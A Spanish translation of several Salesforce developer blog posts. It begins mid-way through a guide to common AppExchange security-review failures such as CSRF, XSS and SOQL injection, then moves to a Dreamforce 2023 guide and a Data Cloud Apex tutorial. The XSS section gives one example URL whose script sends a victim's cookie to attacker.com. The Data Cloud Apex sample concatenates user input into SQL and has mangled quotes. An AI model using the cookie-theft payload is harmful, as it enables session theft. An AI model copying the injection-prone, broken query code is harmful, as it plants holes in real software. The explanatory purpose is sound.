La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

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Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

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Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

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Fiel al foro principal de clientes

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📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
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Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

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Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

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Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Liberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Libere el poder de Apex en Salesforce Data Cloud — Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de múltiples sistemas en una única instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para análisis, aprendizaje automático y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientación sobre cómo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario estándar de Data Cloud, o que los ISV construyan su propio código para automatizar operaciones específicas de Data Cloud, como la resolución de identidades, la creación y ejecución de conocimientos calculados de Data Cloud o la segmentación.

Objetos de Salesforce Data Cloud frente a objetos estándar/personalizados

Antes de analizar cómo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y cómo difieren con respecto a los objetos estándar/personalizados de Salesforce Platform.

Salesforce Data Cloud tiene un modelo de datos canónico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de cómo estos objetos se asignan entre sí y sus propósitos en la documentación de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar volúmenes de datos mucho más grandes (en la magnitud de miles de millones de registros) en comparación con los objetos estándar y personalizados regulares en la Plataforma de Salesforce. Los objetos estándar/personalizados están diseñados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinción clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, aún puede lograr la automatización de procesos suscribiéndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es común entre los objetos de la nube de datos y los objetos de la plataforma es que están construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de características de la plataforma, como Salesforce Flow, Apex y Platform Events.

Cómo consultar datos de Data Cloud en Apex

Antes de profundizar en algún código, exploremos un ejemplo de caso de uso de una aplicación de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de código en esta publicación de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar análisis, utilizar técnicas de aprendizaje automático y obtener información procesable de los datos.

El código de Apex en esta publicación asume una condición importante: la nube de datos está habilitada y el código de Apex se ejecuta en la organización de la nube de datos y no en las organizaciones de Salesforce que están conectadas a la organización de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase está disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuación se muestra un fragmento de código de ejemplo que muestra cómo acceder a los datos de un objeto de nube de datos mediante una instrucción SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = » + customerId + » ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } «>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una página Lightning de caso de objeto estándar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del código

  • El método toma un parámetro customerId , lo que indica que recupera los datos del panel solar para un cliente específico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operación de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un límite de CPU de 10 segundos para transacciones sincrónicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, asegúrese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que está trabajando) para limitar la cantidad de filas y evitar alcanzar el límite de CPU de 10 segundos.
  • Si está recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincrónica y aproveche el límite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tamaños de respuesta más grandes para casos de uso en los que necesita extraer grandes volúmenes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • También puede usar SOQL en lugar de SQL, pero asegúrese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

Cómo buscar información de perfil

Antes de analizar cómo buscar información de perfil de Data Cloud en Apex, debemos comprender qué es un perfil unificado.

Perfil unificado y resolución de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene información diferente sobre ella, como diferentes direcciones de correo electrónico. Estos datos únicos se denominan puntos de contacto . Los clientes como Martha están representados por múltiples registros de contacto y perfiles específicos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una función de resolución de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentación y activaciones en varios otros sistemas.

Buscar información de perfil de Data Cloud

A continuación se muestra un código Apex de utilidad de ejemplo que busca información de perfil. Tenga en cuenta que se utiliza el método queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } «>

Aquí hay un fragmento de código de ejemplo que invoca el código de utilidad anterior al pasar los parámetros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); «>

El código busca la información de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del código

  • El método utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
